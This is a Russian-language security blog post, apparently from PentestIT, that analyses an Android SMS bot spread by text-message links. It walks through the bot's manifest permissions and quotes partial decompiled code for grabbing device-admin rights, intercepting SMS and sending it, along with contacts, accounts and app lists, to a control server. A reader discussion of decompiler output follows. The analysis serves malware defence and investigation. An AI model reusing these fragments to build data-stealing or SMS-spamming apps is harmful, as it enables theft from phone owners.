Анализ sms-бота для Android. Часть II

    Анализ sms-бота для Android. Часть II


    Продолжение статьи Анализ sms-бота для Android. Часть I

    Вступление

    Еще один бот под Android, рассылаемый по «красивым» номерам вида 8***6249999 и т.д. Смской приходит ссылка вида: «Посмотрите, что о Вас известно» или «Информация для владельца» и т.д. названиесайта.ру/7***6249999"

    Процесс вскрытия Android-приложений:

    • Скачиваем APK-файл;
    • Извлекаем файл манифеста;
    • Декомпилируем приложение в читаемый исходный или байт-код;
    • Анализируем манифест и код.


    Джентльменский набор инструментов:

    • Apktool – Используем для того чтобы вытащить манифест и ресурсы;
    • Dex2jar – Декомпилируем APK-файл в байт-код;
    • Jd-gui – Байт-код переводим в читабельный код.


    Читаем манифест

    В манифесте сразу бросаются в глаза следующие строчки кода:
    <receiver android:name=".IncomingSmsReceiver" android:exported="true">
    …
    </receiver>
    <receiver android:name=".OnReboot" android:permission="android.permission.RECEIVE_BOOT_COMPLETED" android:enabled="true">
    ….
    </receiver>
    <receiver android:name=".AdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN">
    …
    </receiver>
    <receiver android:name=".RunService$Alarm" android:exported="true">
    …
    </receiver>
     <service android:name=".RunService" />


    Из среза манифеста становится понятно что собирается делать бот:
    • Получать и обрабатывать все входящие СМС;
    • Будет что-то выполнять при перезагрузке устройства;
    • Попытается получить права администратора устройства;
    • И запускает какой-то сервис. Скорее всего этот сервис будет ждать поступления новых команд (например, управляющего сервера);

    Далее, по манифесту:
       <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
        <uses-permission android:name="android.permission.GET_ACCOUNTS" />
        <uses-permission android:name="android.permission.RECEIVE_SMS" />
        <uses-permission android:name="android.permission.SEND_SMS" />
        <uses-permission android:name="android.permission.WRITE_SMS" />
        <uses-permission android:name="android.permission.READ_SMS" />
        <uses-permission android:name="android.permission.READ_PHONE_STATE" />
        <uses-permission android:name="android.permission.CALL_PHONE" />
        <uses-permission android:name="android.permission.INTERNET" />


    Невооруженным глазом видно, что наш бот хочет получить разрешения на:
    • Запуск после ребута;
    • Получение аккаунтов;
    • Получение/отправку/написание/чтение СМС-ок;
    • Получение состояния телефона;
    • Интернет;

    Итак, уже примерно проясняются намерения бота.

    Mainactivity.java

    Теперь переходим к анализу классов. Их у нашего бота 17 штук.
    После анализа каждого из них я пришел к выводу самые основные, то есть заслуживающие внимание, из них следующие:
    • MainActivity.java;
    • Runservice.java;
    • IncomingSmsReceiver.java;
    • HandlerCMD.java;

    В выше указанных классах сосредоточена основная логика бота, остальные классы – вспомогательные.

    Посмотрим, что есть в классе MainActivity.
    В ниже указанном, коде бот пытается получить права Админа:
    this.devicePolicyManager = ((DevicePolicyManager)getSystemService("device_policy"));
    if (!this.devicePolicyManager.isAdminActive(this.adminReceiver))
      {
              GetAdministrator localGetAdministrator = new GetAdministrator();
              localGetAdministrator.execute(new Void[0]);
              return;
        }


    Далее, при закрытии программы он попытается запустить класс сервиса(о нем поговорим чуть ниже):
          Class localClass = Class.forName("com.driver.android.system.RunService");
          Intent localIntent = new Intent(this, localClass);
          startService(localIntent);


    RunService.java

    Из названия данного класса становится понятно, что он делает. Да, он запускает сервис, который:
    • проверяет свой статус;
    • получает команды от управляющего сервера и запускает обрабатывающий хэндлер;
    • проверяет исходящие СМС каждые 60 секунд;
    • блокирует звонки номеров, которые занесены в черный список бота;
    • отправляет на сервер все исходящие СМС-ки.


    IncomingSmsReceiver.java

    Данный класс используется как BroadcastReceiver. Из названия понятно, что данный класс нужен для получения входящих СМС-ок и отправки их содержимого на сервер. Вот подтверждающий срез кода:
    localHashMap.put("addmsg",
    localStringBuffer3.append(localStringBuffer4.append(localStringBuffer5.append(localStringBuffer6.append(localStringBuffer7.append("-->\nОтправитель: ").append(str1).toString()).append("\nТекст сообщения: ").toString()).append(str2).toString()).append("\nДата: ").toString()).append(str5).toString() + "\n-->\n\n");
    SendNewSMS localSendNewSMS = new SendNewSMS(paramContext);
    localSendNewSMS.execute(new HashMap[] { localHashMap });


    HandlerCMD.java

    По моему мнению, это самый интересный класс. Тут явно можно увидеть все функции которые выполняет бот. Данный класс тесно взаимодействует с классом Command.java, в котором расписаны действия каждой из команд. Управляющий сервер отправляет команды в виде массива строк. Хэндлер его обрабатывает и проверяет первый элемент массива paramArrayOfString[0] на наличие значения от «1» до «16». А теперь давайте пройдемся по каждой функции.

    При получении «1» отправка СМС на определенный номер
        if (str1.equals("1") == true)
        {
          Commands localCommands1 = new Commands(this.context);
          localCommands1.smska(paramArrayOfString);
        }


    Установка нового IP-адреса сети
          if (str1.equals("2") == true)
          {
            …
            localCommands2.newIp(paramArrayOfString[1].trim());
            … }


    <b>Проверить на права админа и отправить результат на сервер</b>
    <source lang="Java">      if (str1.equals("3") == true)
          {
            …
            if (localCommands3.getAdministrator()) {}
            …
            localSendPostData1.execute("http://" + this.server_ip, localHashMap1);
            …  }


    Отправка на сервер всех онлайн аккаунтов пользователя
          if (str1.equals("4") == true)
          {...
            String str4 = localCommands4.getAllAccounts();
            …
        localSendPostData2.execute("http://" + this.server_ip, localHashMap2);
         …     }


    Отправка на сервер список установленных приложений
          if (str1.equals("5") == true)
          {
            …
            String str5 = localCommands5.getInstallApps();
            …
            localSendPostData3.execute("http://" + this.server_ip, localHashMap3);
            …  }


    Очистка «черного списка»
          if (str1.equals("6") == true)
          { …
            localCommands6.clearBL();
            …     }


    Получить от сервера текст СМС-ки и разослать абонентам из локальной адресной книги
          if (str1.equals("7") == true)
          { …
            localCommands7.deliveryPhoneBook(paramArrayOfString);
            …      }


    Разослать СМС-ки по списку номеров полученных от сервера
          if (str1.equals("8") == true)
          { …
            localCommands8.deliveryFromBase(paramArrayOfString);
            …  }


    Получить все номера абонентов и отправить на сервер
          if (str1.equals("9") == true)
          {
            PhoneBook localPhoneBook = new PhoneBook(this.context);
            ArrayList localArrayList = localPhoneBook.getNumbers();
            …
            localSendPostData4.execute("http://" + this.server_ip, localHashMap4);
            …     }


    Отправить на сервер информацию о операторе сотовой связи
          if (str1.equals("10") == true)
          { …
            String str7 = localCommands9.getProvider();
            …
            localSendPostData5.execute("http://" + this.server_ip, localHashMap5);
            …  }


    Отправить на сервер версии приложений
          if (str1.equals("11") == true)
          { …
            String str8 = localCommands10.getVersionApp();
            …
            localSendPostData6.execute("http://" + this.server_ip, localHashMap6);
            … }


    Отправить версию Андроида
          if (str1.equals("12") == true)
          { …
            String str9 = localCommands11.getVersionOS();
            …
            localSendPostData7.execute("http://" + this.server_ip, localHashMap7);
            …  }


    Отправить код страны
          if (str1.equals("13") == true)
          { …
            String str10 = localCommands12.getCountry();
            …
            localSendPostData8.execute("http://" + this.server_ip, localHashMap8);
            … }


    Отправить номер телефона устройства
          if (str1.equals("14") == true)
          { …
            String str11 = localCommands13.getPhoneNumber();
            …
            localSendPostData9.execute("http://" + this.server_ip, localHashMap9);
            …      }


    Получение от сервера и исполнение, а также отправка результата выполнения USSD-сообщений
          if (str1.equals("15") == true)
          { …
            localCommands14.USSD(paramArrayOfString);
            …  }


    Удаление приложения в теневом режиме
          if (str1.equals("16") == true)
          {
            Commands localCommands15 = new Commands(this.context);
            localCommands15.uninstallApp(paramArrayOfString);
            return;
          }


    Выводы

    Подведем итоги анализа. Бот написан более грамотно, в отличии от предыдущего. Но так же есть огрехи в защите кода. Никакой обфускации и шифрования. Благодаря чему удалось увидеть в коде IP адреса сервера, на который бот отправляет и получает данные.

    Набиев Нурлан (Казахстан), отдел расследования киберпреступлений, PentestIT
    • +26
    • 13,2k
    • 5
    Pentestit 183,32
    Информационная безопасность
    Поделиться публикацией
    Комментарии 5
    • 0
      Никакой обфускации и шифрования.

      Не думаю, что это важно ввиду того, что на большинстве смартов нет ничего, что могло бы противодействовать этому ПО. Если злоумышленник узнает данные для доступа к ЛК каких-нибудь платежных систем, и, имея доступ к смс подтверждениям на смартфоне, он сможет управлять счетами итд. А IP адреса, на которые устанавливаются соединения можно и сетевыми анализаторами глянуть, хотя трафик все же лучше шифровать чем-нибудь асимметричным.
      • 0
        if (str1.equals(«13») == true)

        Бот написан более грамотно
        Гм…
        Мне кажется, тут код уровня «Learn Java in 21 day» в лучшем случае.
        Тем более, что вроде как ничего сложного код и не делает.

        P.S. Почему вы тег <source> не используете?
        • +2
          Спасибо!
          • +4
            Это не оригинальный код.

            > Декомпилируем приложение в читаемый исходный или байт-код;

            • +1
              Само собой, не оригинальный.
              Но == true там могло появиться только в случае, если его туда зачем-то вкорячил автор зловреда, а декомпилятор не выкинул.
              Древний JAD бесполезные сравнения выкидывает, а JD — оставляет.

              Что бы не быть голословным
              Исходный код:

              public class Test {
              
              	public static void senor() {
              		if ("FOO".equals("BAR")) {
              			System.out.println("Señor");
              		}
              	}
              
              	public static void junior() {
              		if ("FOO".equals("BAR") == true) {
              			System.out.println("Junior");
              		}	
              	}
              
              }
              


              X:\>javac -version
              javac 1.7.0_45
              

              Байт-код:

                public static void senor();
                  Code:
                     0: ldc           #2                  // String FOO
                     2: ldc           #3                  // String BAR
                     4: invokevirtual #4                  // Method java/lang/String.equals:(Ljava/lang/Object;)Z
                     7: ifeq          18
                    10: getstatic     #5                  // Field java/lang/System.out:Ljava/io/PrintStream;
                    13: ldc           #6                  // String Señor
                    15: invokevirtual #7                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
                    18: return        
              
                public static void junior();
                  Code:
                     0: ldc           #2                  // String FOO
                     2: ldc           #3                  // String BAR
                     4: invokevirtual #4                  // Method java/lang/String.equals:(Ljava/lang/Object;)Z
                     7: iconst_1      
                     8: if_icmpne     19
                    11: getstatic     #5                  // Field java/lang/System.out:Ljava/io/PrintStream;
                    14: ldc           #8                  // String Junior
                    16: invokevirtual #7                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
                    19: return        
              
              



              Как видите, избыточное сравнение никуда из тела метода junior() не делось.

          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

          Самое читаемое